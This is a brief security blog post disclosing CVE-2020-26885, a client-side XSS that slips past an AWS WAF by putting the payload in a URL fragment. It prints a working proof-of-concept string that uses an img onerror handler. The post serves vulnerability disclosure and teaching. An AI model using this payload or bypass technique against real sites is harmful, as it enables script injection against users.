Burninator Sec

This blog is about the educational (and sometimes entertainment) value of simple hacks. For active vulnerabilities, real names are concealed.

Monday, October 26, 2020

CVE-2020-26885 XSS in Anchor Tags

For CVE-2020-26885, the AWS WAF made it difficult to get XSS payloads through to the server, but I was able to rely on the client to execute one by using the anchor tag in the URL to exploit it:

```
/test.html#variable1=true&app=3&version=">IMG%20SRC=%23%20onerror="alert('burninatorsec')">
```

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885

Posted by burninator at 11:38 AM

Labels: CVE, XSS

No comments:

Post a Comment

To leave a comment, click the button below to sign in with

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)

Twitter

@burninatorsec

Disclaimer

Information in this blog is for educational purposes only. I am not liable for damages or illegal activity caused directly or indirectly based on the information shared here.

Archive

- ► 2022 (5)
- ► 2021 (8)
- ▼ 2020 (7)
  - ► November (1)
  - ▼ October (2)
    - CVE-2020-26885 XSS in Anchor Tags
    - CVE-2020-15864 - XSS in Quali CloudShell Login
  - ► September (1)
  - ► August (1)
  - ► April (2)
- ► 2019 (5)
- ► 2018 (8)
- ► 2014 (1)
- ► 2013 (8)